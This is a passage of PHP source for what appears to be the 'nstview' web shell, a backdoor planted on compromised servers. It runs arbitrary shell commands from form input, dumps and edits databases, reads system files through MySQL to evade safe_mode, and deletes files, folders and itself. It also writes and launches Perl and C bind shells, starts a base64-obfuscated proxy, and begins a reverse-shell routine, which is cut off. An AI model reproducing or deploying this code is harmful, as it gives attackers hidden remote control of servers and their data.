  613. if(mysql_num_rows($res)>0){
  614. while($row=mysql_fetch_assoc($res)){
  615. $keys = join("`, `", array_keys($row));
  616. $values = array_values($row);
  617. foreach($values as $k=>$v) {$values[$k] = adds2($v);}
  618. $values = join("', '", $values);
  619. $sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n";
  620. fwrite($fp, $sql);
  621. }}
  622. fwrite($fp, "\r\n\r\n\r\n");
  623. }
  624. fclose($fp);
  625. print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">";
  626. }#end of db dump
  627. $vnutr=$_GET['vnutr'];
  628. $tbl=$_GET['tbl'];
  629. if($vnutr and !$_GET['ins_new_line']){
  630. print "<table cellpadding=0 cellspacing=1><tr><td>";
  631. mysql_select_db($db) or die(mysql_error());
  632. $c=mysql_query ("SELECT COUNT(*) FROM $tbl");
  633. $cfa=mysql_fetch_array($c);
  634. mysql_free_result($c);
  635. print "
  636. Total: $cfa[0]
  637. <form>
  638. From: <input name=from size=3 value=0>
  639. To: <input name=to size=3 value='$cfa[0]'>
  640. <input type=submit name=show value=Show>
  641. <input type=hidden name=vnutr value=1>
  642. <input type=hidden name=vn value='$vn'>
  643. <input type=hidden name=db value='$db'>
  644. <input type=hidden name=login value='$login'>
  645. <input type=hidden name=pass value='$pass'>
  646. <input type=hidden name=adress value='$adress'>
  647. <input type=hidden name=conn value=1>
  648. <input type=hidden name=baza value=1>
  649. <input type=hidden name=p value=sql>
  650. <input type=hidden name=tbl value='$tbl'>
  651. [<a href='$php_self?getdb=1&to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl'>DOWNLOAD</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&ins_new_line=1'>INSERT</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&dump=1&f_d=$d'>DUMP</a>]
  652. </form></td></tr></table>";
  653. $vn=$_GET['vn'];
  654. $from=$_GET['from'];
  655. $to=$_GET['to'];
  656. $from=$_GET['from'];
  657. $to=$_GET['to'];
  658. if(!isset($from)){$from=0;}
  659. if(!isset($to)){$to=50;}
  660. $query = "SELECT * FROM $vn LIMIT $from,$to";
  661. $result = mysql_query($query);
  662. $result1= mysql_query($query);
  663. print $del_result;
  664. print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>";
  665. for ($i=0;$i<mysql_num_fields($result);$i++){
  666. $name=mysql_field_name($result,$i);
  667. $type = mysql_field_type($result, $i);
  668. $len = mysql_field_len($result, $i);
  669. print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>";
  670. }
  671. print "</tr><pre>";
  672. while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
  673. foreach($mn as $key=>$inside){
  674. $buffer1 .= "`$key`='".adds($inside)."' AND ";
  675. $b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>";
  676. }
  677. $buffer1 = substr($buffer1, 0, strlen($buffer1)-5);
  678. $buffer1 = base64_encode($buffer1);
  679. print "<td>
  680. <form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'>
  681. <input type=hidden name=delete_row value='$buffer1'>
  682. <input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'>
  683. </form><form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&baza=1&vn=$vn&db=$db'>
  684. <input type=hidden name=edit_row value='$buffer1'>
  685. <input type=submit value=Edit style='border:1px;background-color:green;'>
  686. </form>
  687. </td>\r\n";
  688. print $b1;
  689. print "</tr>";
  690. unset($b1);
  691. unset($buffer1);
  692. }
  693. mysql_free_result($result);
  694. print "</table>";
  695. } #end vnutr
  696. print "</td></tr></table>";
  697. } # end $conn
  698. ### end of sql
  699. print "</tr></td></table> </td></tr></table>";
  700. print $copyr;
  701. die;
  702. }
  703. @$p=$_GET['p'];
  704. if(@$_GET['p']=="selfremover"){
  705. print "<tr><td>";
  706. print "<font color=red face=verdana size=1>Are you sure?<br>
  707. <a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a><br>
  708. Remove: <u>";
  709. $path=__FILE__;
  710. print $path;
  711. print " </u>?</td></tr></table>";
  712. die;
  713. }
  714. if($p=="yes"){
  715. $path=__FILE__;
  716. @unlink($path);
  717. $path=str_replace("\\","/",$path);
  718. if(file_exists($path)){$hmm="NOT DELETED!!!";
  719. print "<tr><td><font color=red>FILE $path NOT DELETED</td></tr>";
  720. }else{$hmm="DELETED";}
  721. print "<script>alert('$path $hmm');</script>";
  722. }
  723. if($os=="unix"){
  724. function fastcmd(){
  725. global $fast_commands;
  726. $c_f=explode("\n",$fast_commands);
  727. $c_f=count($c_f)-2;
  728. print "
  729. <form method=post>
  730. Total commands: $c_f<br>
  731. <select name=sh3>";
  732. $c=substr_count($fast_commands," (nst) ");
  733. for($i=0; $i<=$c; $i++){
  734. $expl2=explode("\r\n",$fast_commands);
  735. $expl=explode(" (nst) ",$expl2[$i]);
  736. if(trim($expl[1])!=""){
  737. print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n";
  738. }
  739. }
  740. print "</select><br>
  741. <input type=submit value=Exec>
  742. </form>
  743. ";
  744. }
  745. }#end of os unix
  746. if($os=="win"){
  747. function fastcmd(){
  748. global $fast_commands_win;
  749. $c_f=explode("\n",$fast_commands_win);
  750. $c_f=count($c_f)-2;
  751. print "
  752. <form method=post>
  753. Total commands: $c_f<br>
  754. <select name=sh3>";
  755. $c=substr_count($fast_commands_win," (nst) ");
  756. for($i=0; $i<=$c; $i++){
  757. $expl2=explode("\r\n",$fast_commands_win);
  758. $expl=explode(" (nst) ",$expl2[$i]);
  759. if(trim($expl[1])!=""){
  760. print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n";
  761. }
  762. }
  763. print "</select><br>
  764. <input type=submit value=Exec>
  765. </form>
  766. ";
  767. }
  768. }#end of os win
  769. echo "
  770. <tr><td>";
  771. if(@$_GET['sh311']=="1"){echo "<center>cmd<br>pwd:
  772. ";
  773. chdir($d);
  774. echo getcwd()."<br><br>
  775. Fast cmd:<br>";
  776. fastcmd();
  777. if($os=="win"){$d=str_replace("/","\\\\",$d);}
  778. print "
  779. <a href=\"javascript:cwd('$d ')\">Insert pwd</a>
  780. <form name=sh311Form method=post><input name=sh3 size=110></form></center><br>
  781. ";
  782. if(@$_POST['sh3']){
  783. $sh3=$_POST['sh3'];
  784. echo "<pre>";
  785. print `$sh3`;
  786. echo "</pre>";
  787. }
  788. }
  789. if(@$_GET['sh311']=="2"){
  790. echo "<center>cmd<br>
  791. pwd:
  792. ";
  793. chdir($d);
  794. echo getcwd()."<br><br>
  795. Fast cmd:<br>";
  796. fastcmd();
  797. if($os=="win"){$d=str_replace("/","\\\\",$d);}
  798. print "
  799. <a href=\"javascript:cwd('$d ')\">Insert pwd</a>
  800. <form name=sh311Form method=post><input name=sh3 size=110></form></center><br>";
  801. if(@$_POST['sh3']){
  802. $sh3=$_POST['sh3'];
  803. echo "<pre>"; print `$sh3`; echo "</pre>";}
  804. echo $copyr;
  805. exit;}
  806. if(@$_GET['delfl']){
  807. @$delfolder=$_GET['delfolder'];
  808. echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br>
  809. (All files must be writable)<br>
  810. <a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?d=$d'>No</a><br><br>
  811. ";
  812. echo $copyr;
  813. exit;
  814. }
  815. $mkdir=$_GET['mkdir'];
  816. if($mkdir){
  817. print "<br><b>Create Folder in $d :</b><br><br>
  818. <form method=post>
  819. New folder name:<br>
  820. <input name=dir_n size=30>
  821. </form><br>
  822. ";
  823. if($_POST['dir_n']){
  824. mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);
  825. print "<b><font color=green>Directory created success!</font></b>";
  826. }
  827. print $copyr;
  828. die;
  829. }
  830. $mkfile=$_GET['mkfile'];
  831. if($mkfile){
  832. print "<br><b>Create file in $d :</b><br><br>
  833. <form method=post>
  834. File name:<br>
  835. (example: hello.txt , hello.php)<br>
  836. <input name=file_n size=30>
  837. </form><br>
  838. ";
  839. if($_POST['file_n']){
  840. $fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']);
  841. fwrite($fp,"");
  842. print "<b><font color=green>File created success!</font></b>";
  843. }
  844. print $copyr;
  845. die;
  846. }
  847. $ps_table=$_GET['ps_table'];
  848. if($ps_table){
  849. if($_POST['kill_p']){
  850. exec("kill -9 ".$_POST['kill_p']);
  851. }
  852. $str=`ps aux`;
  853. # You can put here preg_match_all for other distrib/os
  854. preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
  855. print "<br><b>PS Table :: Fast kill program<br>
  856. (p.s: Tested on Linux slackware 10.0)<br>
  857. <br></b>";
  858. print "<center><table border=1>";
  859. for($i=0; $i<count($matches[3]); $i++){
  860. $expl=explode(" ",$matches[0][$i]);
  861. print "<tr><td>$expl[0]</td><td>PID: ".$matches[1][$i]." :: ".$matches[3][$i]."</td><form method=post><td><font color=red>Kill: <input type=submit name=kill_p value=".trim($matches[1][$i])."></td></form></tr>";
  862. }#end of for
  863. print "</table></center><br><br>";
  864. unset($str);
  865. print $copyr;
  866. die;
  867. }#end of ps table
  868. $read_file_safe_mode=$_GET['read_file_safe_mode'];
  869. if($read_file_safe_mode){
  870. if(!isset($_POST['l'])){$_POST['l']="root";}
  871. print "<br>
  872. Read file content using MySQL - when <b>safe_mode</b>, <b>open_basedir</b> is <font color=green>ON</font><Br>
  873. <form method=post>
  874. <table>
  875. <tr><td>Addr:</td><Td> <input name=serv_ip value='127.0.0.1'><input name=port value='3306' size=6></td></tr>
  876. <tr><td>Login:</td><td><input name=l value=".$_POST['l']."></td></tr>
  877. <tr><td>Passw:</td><td><input name=p value=".$_POST['p']."></td></tr></table>
  878. (example: /etc/hosts)<br>
  879. <input name=read_file size=45><br>
  880. <input type=submit value='Show content'>
  881. </form>
  882. <br>";
  883. if($_POST['read_file']){
  884. $read_file=$_POST['read_file'];
  885. @mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>");
  886. mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
  887. mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
  888. mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>");
  889. mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
  890. $query = "SELECT * FROM tmp_file";
  891. $result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>");
  892. print "<b>File content</b>:<br><br>";
  893. for($i=0;$i<mysql_num_fields($result);$i++){
  894. $name=mysql_field_name($result,$i);}
  895. while($line=mysql_fetch_array($result, MYSQL_ASSOC)){
  896. foreach ($line as $key =>$col_value) {
  897. print htmlspecialchars($col_value)."<br>";}}
  898. mysql_free_result($result);
  899. mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
  900. }
  901. print $copyr;
  902. die;
  903. }#end of read_file_safe_mode
  904. # sys
  905. $wich_f=$_GET['wich_f'];
  906. $delete=$_GET['delete'];
  907. $del_f=$_GET['del_f'];
  908. $chmod=$_GET['chmod'];
  909. $ccopy_to=$_GET['ccopy_to'];
  910. # delete
  911. if(@$_GET['del_f']){
  912. if(!isset($delete)){
  913. print "<font color=red>Delete this file?</font><br>
  914. <b>$d/$wich_f<br><br></b>
  915. <a href='$php_self?d=$d&del_f=$wich_f&delete=1'>Yes</a> / <a href='$php_self?d=$d'>No</a>
  916. ";}
  917. if($delete==1){
  918. unlink($d."/".$del_f);
  919. print "<b>File: <font color=green>$d/$del_f DELETED!</font></b>
  920. <br><b> <a href='$php_self?d=$d'># BACK</a>
  921. ";
  922. }
  923. echo $copyr;
  924. exit;
  925. }
  926. # copy to
  927. if($ccopy_to){
  928. $wich_f=$_POST['wich_f'];
  929. $to_f=$_POST['to_f'];
  930. print "<font color=green>Copy file:<br>
  931. $d/$ccopy_to</font><br>
  932. <br>
  933. <form method=post>
  934. File:<br><input name=wich_f size=100 value='$d/$ccopy_to'><br><br>
  935. To:<br><input name=to_f size=100 value='$d/nst_$ccopy_to'><br><br>
  936. <input type=submit value=Copy></form><br><br>
  937. ";
  938. if($to_f){
  939. @copy($wich_f,$to_f) or die("<font color=red>Cannot copy!!! maybe folder is not writable</font>");
  940. print "<font color=green><b>Copy success!!!</b></font><br>";
  941. }
  942. echo $copyr;
  943. exit;
  944. }
  945. # chmod
  946. if(@$_GET['chmod']){
  947. $perms = @fileperms($d."/".$wich_f);
  948. print "<b><font color=green>CHMOD file $d/$wich_f</font><br>
  949. <br><center>This file chmod is</b> ";
  950. print perm($perms);
  951. print "</center>
  952. <br>";
  953. $chmd=<<<HTML
  954. <script>
  955. <!--
  956. function do_chmod(user) {
  957. var field4 = user + "4";
  958. var field2 = user + "2";
  959. var field1 = user + "1";
  960. var total = "t_" + user;
  961. var symbolic = "sym_" + user;
  962. var number = 0;
  963. var sym_string = "";
  964. if (document.chmod[field4].checked == true) { number += 4; }
  965. if (document.chmod[field2].checked == true) { number += 2; }
  966. if (document.chmod[field1].checked == true) { number += 1; }
  967. if (document.chmod[field4].checked == true) {
  968. sym_string += "r";
  969. } else {
  970. sym_string += "-";
  971. }
  972. if (document.chmod[field2].checked == true) {
  973. sym_string += "w";
  974. } else {
  975. sym_string += "-";
  976. }
  977. if (document.chmod[field1].checked == true) {
  978. sym_string += "x";
  979. } else {
  980. sym_string += "-";
  981. }
  982. if (number == 0) { number = ""; }
  983. document.chmod[total].value = number;
  984. document.chmod[symbolic].value = sym_string;
  985. document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value;
  986. document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value;
  987. }
  988. //-->
  989. </script>
  990. <form name="chmod" method=post>
  991. <p><table cellpadding="0" cellspacing="0" border="0" bgcolor="silver"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#008000" align="center" colspan="5"><font color="#ffffff" size="3"><b>CHMOD (File Permissions)</b></font></td></tr>
  992. <tr bgcolor="gray">
  993. <td align="left"><b>Permission</b></td>
  994. <td align="center"><b>Owner</b></td>
  995. <td align="center"><b>Group</b></td>
  996. <td align="center"><b>Other</b></td>
  997. <td bgcolor="#dddddd" rowspan="4"> </td>
  998. </tr><tr bgcolor="#dddddd">
  999. <td align="left" nowrap><b>Read</b></td>
  1000. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td>
  1001. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td>
  1002. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td>
  1003. </tr><tr bgcolor="#dddddd">
  1004. <td align="left" nowrap><b>Write</b></td>
  1005. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td>
  1006. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td>
  1007. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td>
  1008. </tr><tr bgcolor="#dddddd">
  1009. <td align="left" nowrap><b>Execute</b></td>
  1010. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td>
  1011. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td>
  1012. <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td>
  1013. </tr><tr bgcolor="#dddddd">
  1014. <td align="right" nowrap>Octal:</td>
  1015. <td align="center"><input type="text" name="t_owner" value="" size="1"></td>
  1016. <td align="center"><input type="text" name="t_group" value="" size="1"></td>
  1017. <td align="center"><input type="text" name="t_other" value="" size="1"></td>
  1018. <td align="left"><b>=</b> <input type="text" name="t_total" value="777" size="3"></td>
  1019. </tr><tr bgcolor="#dddddd">
  1020. <td align="right" nowrap>Symbolic:</td>
  1021. <td align="center"><input type="text" name="sym_owner" value="" size="3"></td>
  1022. <td align="center"><input type="text" name="sym_group" value="" size="3"></td>
  1023. <td align="center"><input type="text" name="sym_other" value="" size="3"></td>
  1024. <td align="left" width=100><b>=</b> <input type="text" name="sym_total" value="" size="10"></td>
  1025. </tr>
  1026. </table></td></tr></table></p>
  1027. HTML;
  1028. print "<center>".$chmd."
  1029. <b>$d/$wich_f</b><br><br>
  1030. <input type=submit value=CHMOD></form>
  1031. </center>
  1032. </form>
  1033. ";
  1034. $t_total=$_POST['t_total'];
  1035. if($t_total){
  1036. chmod($d."/".$wich_f,$t_total);
  1037. print "<center><font color=green><br><b>Now chmod is $t_total</b><br><br></font>";
  1038. print "<a href='$php_self?d=$d'># BACK</a><br><br>";
  1039. }
  1040. echo $copyr;
  1041. exit;
  1042. }
  1043. # rename
  1044. if(@$_GET['rename']){
  1045. print "<b><font color=green>RENAME $d/$wich_f ?</b></font><br><br>
  1046. <center>
  1047. <form method=post>
  1048. <b>RENAME</b><br><u>$wich_f</u><br><Br><B>TO</B><br>
  1049. <input name=rto size=40 value='$wich_f'><br><br>
  1050. <input type=submit value=RENAME>
  1051. </form>
  1052. ";
  1053. @$rto=$_POST['rto'];
  1054. if($rto){
  1055. $fr1=$d."/".$wich_f;
  1056. $fr1=str_replace("//","/",$fr1);
  1057. $to1=$d."/".$rto;
  1058. $to1=str_replace("//","/",$to1);
  1059. rename($fr1,$to1);
  1060. print "File <br><b>$wich_f</b><br>Renamed to <b>$rto</b><br><br>";
  1061. echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=".$php_self."?d=".$d."&rename=1&wich_f=".$rto."\">";
  1062. }
  1063. echo $copyr;
  1064. exit;
  1065. }
  1066. if(@$_GET['deldir']){
  1067. @$dir=$_GET['dir'];
  1068. function deldir($dir)
  1069. {
  1070. $handle = @opendir($dir);
  1071. while (false!==($ff = @readdir($handle))){
  1072. if($ff != "." && $ff != ".."){
  1073. if(@is_dir("$dir/$ff")){
  1074. deldir("$dir/$ff");
  1075. }else{
  1076. @unlink("$dir/$ff");
  1077. }}}
  1078. @closedir($handle);
  1079. if(@rmdir($dir)){
  1080. @$success = true;}
  1081. return @$success;
  1082. }
  1083. $dir=@$dir;
  1084. deldir($dir);
  1085. $rback=$_GET['rback'];
  1086. @$rback=explode("/",$rback);
  1087. $crb=count($rback);
  1088. for($i=0; $i<$crb-1; $i++){
  1089. @$x.=$rback[$i]."/";
  1090. }
  1091. echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?d=".@$x."'\">";
  1092. echo $copyr;
  1093. exit;}
  1094. if(@$_GET['t']=="tools"){
  1095. # unix
  1096. if($os=="unix"){
  1097. print "
  1098. <center><br>
  1099. <font color=red><b>P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.</b><br></font>
  1100. <table border=1>
  1101. <tr><td align=center><b>[Name]</td><td align=center><b>[C]</td><td align=center><b>[Port]</td><td align=center><b>[Perl]</td><td align=center><b>[Port]</td><td align=center><b>[Other options, info]</td></tr>
  1102. <tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input type=submit name=c_bd value='Start' style='background-color:green;'></td><td><input name=port size=6 value=5545></td></form><form method=post><td><input type=submit name=perl_bd value='Start' style='background-color:green;'></td><td><input name=port value=5551 size=6></td><td>none</td></form></tr>
  1103. <tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><input type=submit value='Start' name=bc_c style='background-color:green;'></td><td><input name=port_c size=6 value=5546></td><td><input type=submit value='Start' name=port_p disabled style='background-color:gray;'></td><td><input name=port value=5552 size=6></td><td>b.c. ip: <input name=ip value='".$_SERVER['REMOTE_ADDR']."'> nc -l -p <i>5546</i></td></form></tr>
  1104. <tr><form method=post><td><font color=red><b>Datapipe:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port_1 size=6 value=5547></td><td><input type=submit value='Start' name=datapipe_pl style='background-color:green;'></td><td><input name=port_2 value=5553 size=6></td><td>other serv ip: <input name=ip> port: <input name=port_3 value=5051 size=6></td></form></tr>
  1105. <tr><form method=post><td><font color=red><b>Web proxy:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5548></td></form><form method=post><td><input type=submit value='Start' name=perl_proxy style='background-color:green;'></td><td><input name=port size=6 value=5554></td></form><td>none</td></tr>
  1106. <tr><form method=post><td><font color=red><b>Socks 4 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5549></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5555></td><td>none</td></tr>
  1107. <tr><form method=post><td><font color=red><b>Socks 5 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5550></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5556></td><td>none</td></tr>
  1108. </table>
  1109. </center>
  1110. <br><Br>
  1111. ";
  1112. }#end of unix
  1113. if($_POST['perl_bd']){
  1114. $port=$_POST['port'];
  1115. $perl_bd_scp = "
  1116. use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
  1117. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));
  1118. listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}
  1119. open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\");
  1120. close X;}}";
  1121. if(is_writable("/tmp")){
  1122. $fp=fopen("/tmp/nst_perl_bd.pl","w");
  1123. fwrite($fp,"$perl_bd_scp");
  1124. passthru("nohup perl /tmp/nst_perl_bd.pl &");
  1125. unlink("/tmp/nst_perl_bd.pl");
  1126. }else{
  1127. if(is_writable(".")){
  1128. mkdir(".nst_bd_tmp");
  1129. $fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w");
  1130. fwrite($fp,"$perl_bd_scp");
  1131. passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &");
  1132. unlink(".nst_bd_tmp/nst_perl_bd.pl");
  1133. rmdir(".nst_bd_tmp");
  1134. }
  1135. }
  1136. $show_ps="1";
  1137. }#end of start perl_bd
  1138. if($_POST['perl_proxy']){
  1139. $port=$_POST['port'];
  1140. $perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2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cmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==";
  1141. if(is_writable("/tmp")){
  1142. $fp=fopen("/tmp/nst_perl_proxy.pl","w");
  1143. fwrite($fp,base64_decode($perl_proxy_scp));
  1144. passthru("nohup perl /tmp/nst_perl_proxy.pl $port &");
  1145. unlink("/tmp/nst_perl_proxy.pl");
  1146. }else{
  1147. if(is_writable(".")){
  1148. mkdir(".nst_proxy_tmp");
  1149. $fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w");
  1150. fwrite($fp,base64_decode($perl_proxy_scp));
  1151. passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &");
  1152. unlink(".nst_proxy_tmp/nst_perl_proxy.pl");
  1153. rmdir(".nst_proxy_tmp");
  1154. }
  1155. }
  1156. $show_ps="1";
  1157. }#end of start perl_proxy
  1158. if($_POST['c_bd']){
  1159. $port=$_POST['port'];
  1160. $c_bd_scp = "#define PORT $port
  1161. #include <stdio.h>
  1162. #include <signal.h>
  1163. #include <sys/types.h>
  1164. #include <sys/socket.h>
  1165. #include <netinet/in.h>
  1166. int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  1167. struct sockaddr_in serv_addr;
  1168. struct sockaddr_in client_addr;
  1169. int main ()
  1170. {
  1171. soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  1172. if (soc_des == -1)
  1173. exit(-1);
  1174. bzero((char *) &serv_addr, sizeof(serv_addr));
  1175. serv_addr.sin_family = AF_INET;
  1176. serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  1177. serv_addr.sin_port = htons(PORT);
  1178. soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
  1179. if (soc_rc != 0)
  1180. exit(-1);
  1181. if (fork() != 0)
  1182. exit(0);
  1183. setpgrp();
  1184. signal(SIGHUP, SIG_IGN);
  1185. if (fork() != 0)
  1186. exit(0);
  1187. soc_rc = listen(soc_des, 5);
  1188. if (soc_rc != 0)
  1189. exit(0);
  1190. while (1) {
  1191. soc_len = sizeof(client_addr);
  1192. soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
  1193. if (soc_cli < 0)
  1194. exit(0);
  1195. cli_pid = getpid();
  1196. server_pid = fork();
  1197. if (server_pid != 0) {
  1198. dup2(soc_cli,0);
  1199. dup2(soc_cli,1);
  1200. dup2(soc_cli,2);
  1201. execl(\"/bin/sh\",\"sh\",(char *)0);
  1202. close(soc_cli);
  1203. exit(0);
  1204. }
  1205. close(soc_cli);
  1206. }
  1207. }
  1208. ";
  1209. if(is_writable("/tmp")){
  1210. $fp=fopen("/tmp/nst_c_bd.c","w");
  1211. fwrite($fp,"$c_bd_scp");
  1212. passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd");
  1213. passthru("nohup /tmp/nst_bd &");
  1214. unlink("/tmp/nst_c_bd.c");
  1215. unlink("/tmp/nst_bd");
  1216. }else{
  1217. if(is_writable(".")){
  1218. mkdir(".nst_bd_tmp");
  1219. $fp=fopen(".nst_bd_tmp/nst_c_bd.c","w");
  1220. fwrite($fp,"$c_bd_scp");
  1221. passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd");
  1222. passthru("nohup .nst_bd_tmp/nst_bd &");
  1223. unlink(".nst_bd_tmp/nst_bd");
  1224. unlink(".nst_bd_tmp/nst_c_bd.c");
  1225. rmdir(".nst_bd_tmp");
  1226. }
  1227. }
  1228. $show_ps="1";
  1229. }#end of c bd
  1230. if($_POST['bc_c']){ # nc -l -p 4500
  1231. $port_c = $_POST['port_c'];
  1232. $ip=$_POST['ip'];
  1233. $bc_c_scp = "#include <stdio.h>
  1234. #include <sys/types.h>
  1235. #include <sys/socket.h>
  1236. #include <unistd.h>
  1237. #include <fcntl.h>
